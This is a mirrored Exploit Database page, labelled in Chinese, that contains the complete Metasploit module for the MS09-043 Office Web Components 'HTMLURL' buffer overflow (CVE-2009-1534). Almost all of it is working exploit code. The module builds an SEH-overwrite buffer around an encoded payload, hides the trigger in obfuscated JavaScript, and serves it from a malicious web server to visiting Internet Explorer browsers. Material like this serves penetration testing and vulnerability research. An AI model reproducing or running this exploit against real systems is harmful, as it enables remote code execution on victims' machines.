Microsoft OWC Spreadsheet – HTMLURL Buffer Overflow (MS09-043) (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16542/

• ##
  # $Id: ms09_043_owc_htmlurl.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Microsoft's Office Web Components.
  				When passing an overly long string as the "HTMLURL" parameter an attacker can
  				execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'jduck' ],
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-1534' ],
  					[ 'OSVDB', '56916' ],
  					[ 'BID', '35992' ],
  					[ 'MSB', 'MS09-043' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00\xf0",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# 'ProgId' => "OWC.Spreadsheet.9"
  					# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
  
  					[ 'Windows XP SP3 - IE6 - Office XP SP0',
  						{
  							'ClassId' => "0002E510-0000-0000-C000-000000000046",
  							'Offset'=> 31337,
  							'Ret' => 0x42424242 # p/p/r in msohev.dll ??
  						}
  					],
  
  					[ 'Windows XP SP3 - IE6 - Office XP SP3',
  						{
  							'ClassId' => "0002E511-0000-0000-C000-000000000046",
  							'Offset'=> ((4096*7) + 1076),
  							'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
  						}
  					]
  				],
  			'DisclosureDate' => 'Aug 11 2009',
  			'DefaultTarget'=> 1))
  
  		register_options(
  			[
  				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
  			], self.class)
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def big_alnum(num)
  		divisor = 2048 + rand(2048)
  		pad_pages = num / divisor
  		pad_left = num % divisor
  
  		ret = ''
  		ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
  		ret << rand_text_alphanumeric(pad_left) if pad_left
  		ret
  	end
  
  	def on_request_uri(cli, request)
  =begin
  		# Only respond to any client twice...
  		if (@sent[cli.peerhost] > 1)
  			send_not_found(cli)
  			return
  		end
  		@sent[cli.peerhost] += 1
  =end
  
  		# Re-generate the payload.
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# ActiveX parameter(s)
  		clsid = target['ClassId']
  
  		# Exploitation parameter(s)
  		seh_offset = target['Offset']
  
  		# Build the buffer.
  		string = big_alnum(seh_offset)
  		string << generate_seh_record(target.ret)
  		string << payload.encoded
  		string << big_alnum(40960 - string.length)
  		string = Rex::Text.to_unescape(string)
  
  		# Randomize the object and function names
  		objid = rand_text_alpha(8+rand(8))
  		fnname = rand_text_alpha(8+rand(8))
  
  		# Build the final JavaScript
  		js = %Q|
  function #{fnname}()
  {
  var ver1 = -1;
  var ver3 = -1;
  try {
  ver3 = #{objid}.Version.split('.')[3];
  ver3 = parseInt(ver3);
  ver1 = #{objid}.Version.split('.')[0];
  ver1 = parseInt(ver1);
  } catch (e) { }
  if (ver1 == 9 && ver3 <= 8966)
  {
  history.go(0);
  #{objid}.HTMLURL = unescape('#{string}');
  }
  }
  |
  
  		# Obfuscate the javascript
  		opts = {
  			'Strings' => false, # way too slow to obfuscate this monster
  			'Symbols' => {
  				'Variables' => %w{ long ver1 ver3 },
  			}
  		}
  		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  		js.obfuscate()
  #<body onload="history.go(0); #{fnname}()">
  
  		# Build the final HTML
  		content = %Q|<html>
  <head>
  <script language=javascript>
  #{js}
  </script>
  </head>
  <body onload="#{fnname}()">
  <object classid="clsid:#{clsid}" id="#{objid}">
  </object>
  </body>
  </html>
  |
  
  		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  
  		# Transmit the response to the client
  		send_response_html(cli, content,
  			{
  				# The vuln requires that this be the same on both requests.
  				'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
  			})
  
  		# Handle the payload
  		handler(cli)
  	end
  
  
  end